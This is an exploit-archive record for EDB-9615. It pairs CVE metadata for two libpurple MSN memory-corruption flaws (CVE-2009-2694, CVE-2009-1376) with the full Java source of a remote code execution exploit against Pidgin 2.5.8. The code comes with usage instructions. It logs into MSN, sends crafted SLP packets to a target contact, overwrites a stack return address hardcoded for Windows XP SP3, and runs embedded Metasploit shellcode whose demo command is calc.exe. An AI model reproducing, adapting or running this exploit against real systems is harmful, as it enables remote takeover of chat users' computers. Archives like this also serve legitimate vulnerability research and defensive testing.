{"exploit":{"id":"EDB-9615","name":"Pidgin MSN 2.5.8 - Remote Code Execution (RCE)","description":"Pidgin MSN 2.5.8 - Remote Code Execution (RCE)","cves":["CVE-2009-2694","CVE-2009-1376"],"author":"Pierre Nogues","published":"2009-09-09","platform":"windows","type":"remote","language":"Java","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9615","path":"exploits/windows/remote/9615.java","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9615.java","vulnerabilities":[{"id":"CVE-2009-2694","state":"PUBLISHED","title":null,"titleSource":null,"description":"The msn_slplink_process_msg function in libpurple/protocols/msn/slplink.c in libpurple, as used in Pidgin (formerly Gaim) before 2.5.9 and Adium 1.3.5 and earlier, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) by sending multiple crafted SLP (aka MSNSLP) messages to trigger an overwrite of an arbitrary memory location. NOTE: this issue reportedly exists because of an incomplete fix for CVE-2009-1376.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-2694","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-2694"},"updatedAt":"2024-08-07T05:59:56.847Z","retrievedAt":"2026-11-27T12:10:42.240Z","stale":false,"error":null},{"id":"CVE-2009-1376","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple integer overflows in the msn_slplink_process_msg functions in the MSN protocol handler in (1) libpurple/protocols/msn/slplink.c and (2) libpurple/protocols/msnp9/slplink.c in Pidgin (formerly Gaim) before 2.5.6 on 32-bit platforms allow remote attackers to execute arbitrary code via a malformed SLP message with a crafted offset value, leading to buffer overflows. NOTE: this issue exists because of an incomplete fix for CVE-2008-2927.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-1376","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-1376"},"updatedAt":"2024-08-07T05:13:25.437Z","retrievedAt":"2026-11-27T12:34:13.091Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9615.png?v=2","url":"https://exploitbin.com/exploits/EDB-9615","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9615/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9615/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n* Pidgin MSN <= 2.5.8 Remote Code Execution\n*\n* Pierre Nogues - pierz@hotmail.it\n* http://www.indahax.com/\n*\n*\n* Description:\n*        Pidgin is a multi-protocol Instant Messenger.\n*\n*        This is an exploit for the vulnerability[1] discovered in Pidgin by core-security[2].\n*        The library \"libmsn\" used by pidgin doesn't handle specially crafted MsnSlp packets\n*        which could lead to memory corruption.\n*\n* Affected versions :\n*        Pidgin <= 2.5.8, Adium and other IM using Pidgin-libpurple/libmsn library.\n*\n* Plateforms :\n*        Windows, Linux, Mac\n*\n* Fix :\n*        Fixed in Pidgin 2.5.9\n*        Update to the latest version : http://www.pidgin.im/download/\n*\n* References :\n*        [1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2694\n*        [2] http://www.coresecurity.com/content/libpurple-arbitrary-write\n*        [3] http://www.pidgin.im/news/security/?id=34\n*\n* Usage :\n*        You need the Java MSN Messenger library : http://sourceforge.net/projects/java-jml/\n*        javac.exe -cp \"%classpath%;.\\jml-1.0b3-full.jar\" PidginExploit.java\n*        java -cp \"%classpath%;.\\jml-1.0b3-full.jar\" PdiginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL\n*\n*/\n\nimport net.sf.jml.*;\nimport net.sf.jml.event.*;\nimport net.sf.jml.impl.*;\nimport net.sf.jml.message.p2p.*;\nimport net.sf.jml.util.*;\n\npublic class PidginExploit {\n\n   private MsnMessenger messenger;\n   private String login;\n   private String password;\n   private String target;\n\n   private int session_id = NumberUtils.getIntRandom();\n\n   private byte shellcode[] = new byte[] {\n\n           /*\n            * if you use the stack in your shellcode do not forgot to change esp because eip == esp == kaboom !\n            * sub esp,500\n            */\n               (byte) 0x81, (byte) 0xEC, (byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x00,\n\n\n           /*\n            * windows/exec - 121 bytes\n            * http://www.metasploit.com\n            * EXITFUNC=process, CMD=calc.exe\n            */\n               (byte) 0xfc, (byte) 0xe8, (byte) 0x44, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8b, (byte) 0x45,\n               (byte) 0x3c, (byte) 0x8b, (byte) 0x7c, (byte) 0x05, (byte) 0x78, (byte) 0x01, (byte) 0xef, (byte) 0x8b,\n               (byte) 0x4f, (byte) 0x18, (byte) 0x8b, (byte) 0x5f, (byte) 0x20, (byte) 0x01, (byte) 0xeb, (byte) 0x49,\n               (byte) 0x8b, (byte) 0x34, (byte) 0x8b, (byte) 0x01, (byte) 0xee, (byte) 0x31, (byte) 0xc0, (byte) 0x99,\n               (byte) 0xac, (byte) 0x84, (byte) 0xc0, (byte) 0x74, (byte) 0x07, (byte) 0xc1, (byte) 0xca, (byte) 0x0d,\n               (byte) 0x01, (byte) 0xc2, (byte) 0xeb, (byte) 0xf4, (byte) 0x3b, (byte) 0x54, (byte) 0x24, (byte) 0x04,\n               (byte) 0x75, (byte) 0xe5, (byte) 0x8b, (byte) 0x5f, (byte) 0x24, (byte) 0x01, (byte) 0xeb, (byte) 0x66,\n               (byte) 0x8b, (byte) 0x0c, (byte) 0x4b, (byte) 0x8b, (byte) 0x5f, (byte) 0x1c, (byte) 0x01, (byte) 0xeb,\n               (byte) 0x8b, (byte) 0x1c, (byte) 0x8b, (byte) 0x01, (byte) 0xeb, (byte) 0x89, (byte) 0x5c, (byte) 0x24,\n               (byte) 0x04, (byte) 0xc3, (byte) 0x5f, (byte) 0x31, (byte) 0xf6, (byte) 0x60, (byte) 0x56, (byte) 0x64,\n               (byte) 0x8b, (byte) 0x46, (byte) 0x30, (byte) 0x8b, (byte) 0x40, (byte) 0x0c, (byte) 0x8b, (byte) 0x70,\n               (byte) 0x1c, (byte) 0xad, (byte) 0x8b, (byte) 0x68, (byte) 0x08, (byte) 0x89, (byte) 0xf8, (byte) 0x83,\n               (byte) 0xc0, (byte) 0x6a, (byte) 0x50, (byte) 0x68, (byte) 0x7e, (byte) 0xd8, (byte) 0xe2, (byte) 0x73,\n               (byte) 0x68, (byte) 0x98, (byte) 0xfe, (byte) 0x8a, (byte) 0x0e, (byte) 0x57, (byte) 0xff, (byte) 0xe7,\n               (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65,\n               (byte) 0x00\n           };\n\n   // reteip = pointer to the return address in the stack\n   // The shellcode will be wrote just before reteip\n   // and reteip will automaticly point to the shellcode. It's magic !\n   private int reteip = 0x0022CFCC;    //stack on XP SP3-FR Pidgin 2.5.8\n\n   private int neweip;\n   private byte[] payload = new byte[shellcode.length + 4];\n   private int totallength = reteip + 4;\n\n   public static void main(String[] args) throws Exception {\n\n       if(args.length != 3){\n           System.out.println(\"PidginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL\");\n       }else{\n           PidginExploit exploit = new PidginExploit(args[0],args[1],args[2]);\n           exploit.start();\n       }\n\n   }\n\n   public PidginExploit(String login, String password, String target){\n       this.login = login;\n       this.password = password;\n       this.target = target;\n\n       neweip = reteip - shellcode.length ;\n\n       for(int i=0;i<shellcode.length;i++)\n           payload[i] = shellcode[i];\n\n       payload[shellcode.length] = (byte)(neweip & 0x000000FF);\n       payload[shellcode.length + 1] = (byte)((neweip & 0x0000FF00) >> 8);\n       payload[shellcode.length + 2] = (byte)((neweip & 0x00FF0000) >> 16);\n       payload[shellcode.length + 3] = (byte)((neweip & 0xFF000000) >> 24);\n   }\n\n   public void start() {\n       messenger = MsnMessengerFactory.createMsnMessenger(login,password);\n       messenger.getOwner().setInitStatus(MsnUserStatus.ONLINE);\n\n       messenger.setLogIncoming(false);\n       messenger.setLogOutgoing(false);\n\n       initMessenger(messenger);\n       messenger.login();\n   }\n\n   protected void initMessenger(MsnMessenger messenger) {\n\n   messenger.addContactListListener(new MsnContactListAdapter() {\n\n           public void contactListInitCompleted(MsnMessenger messenger) {\n\n               final Object id = new Object();\n\n               messenger.addSwitchboardListener(new MsnSwitchboardAdapter() {\n\n                   public void switchboardStarted(MsnSwitchboard switchboard) {\n\n                       if (id != switchboard.getAttachment())\n                           return;\n\n                       switchboard.inviteContact(Email.parseStr(target));\n                   }\n\n                   public void contactJoinSwitchboard(MsnSwitchboard switchboard, MsnContact contact) {\n                       if (id != switchboard.getAttachment())\n                           return;\n\n                       MsnP2PSlpMessage msg = new MsnP2PSlpMessage();\n                       msg.setIdentifier(NumberUtils.getIntRandom());\n                       msg.setSessionId(session_id);\n                       msg.setOffset(0);\n                       msg.setTotalLength(totallength);\n                       msg.setCurrentLength(totallength);\n\n                       // This flag create a bogus MsnSlpPacket in pidgin memory with a buffer pointing to null\n                       // We'll use this buffer to rewrite memory in the stack\n                       msg.setFlag(0x1000020);\n\n                       msg.setP2PDest(target);\n\n                       switchboard.sendMessage(msg);\n\n                       System.out.println(\"First packet sent, waiting for the ACK\");\n\n                   }\n\n                   public void switchboardClosed(MsnSwitchboard switchboard) {\n                       System.out.println(\"switchboardClosed\");\n                       switchboard.getMessenger().removeSwitchboardListener(this);\n                   }\n\n                   public void contactLeaveSwitchboard(MsnSwitchboard switchboard, MsnContact contact){\n                       System.out.println(\"contactLeaveSwitchboard\");\n                   }\n               });\n               messenger.newSwitchboard(id);\n           }\n       });\n\n       messenger.addMessageListener(new MsnMessageAdapter(){\n\n           public void p2pMessageReceived(MsnSwitchboard switchboard,MsnP2PMessage message,MsnContact contact) {\n\n               //We receive the ACK of our first packet with the ID of the new bogus packet\n               message.getIdentifier();\n\n               MsnP2PDataMessage msg = new MsnP2PDataMessage(session_id, message.getIdentifier(), neweip,\n                       payload.length, payload, target);\n\n               switchboard.sendMessage(msg);\n               System.out.println(\"ACK received && Payload sent !\");\n               System.out.println(\"Exploit OK ! CTRL+C to quit\");\n\n           }\n       });\n\n\n\n       messenger.addMessengerListener(new MsnMessengerAdapter() {\n\n           public void loginCompleted(MsnMessenger messenger) {\n               System.out.println(messenger.getOwner().getEmail() + \" login\");\n           }\n\n           public void logout(MsnMessenger messenger) {\n               System.out.println(messenger.getOwner().getEmail() + \" logout\");\n           }\n\n           public void exceptionCaught(MsnMessenger messenger,\n                   Throwable throwable) {\n               System.out.println(\"caught exception: \" + throwable);\n           }\n       });\n\n   }\n}\n\n// milw0rm.com [2009-09-09]","sha256":"bbaf46db27c1f959ff7dd4510c39ab3e74a3dac52be8862c457abe347ffb3652","bytes":8855,"fetchedAt":"2026-11-27T12:10:40.242Z","encoding":"utf-8 (display only; download retains original bytes)"}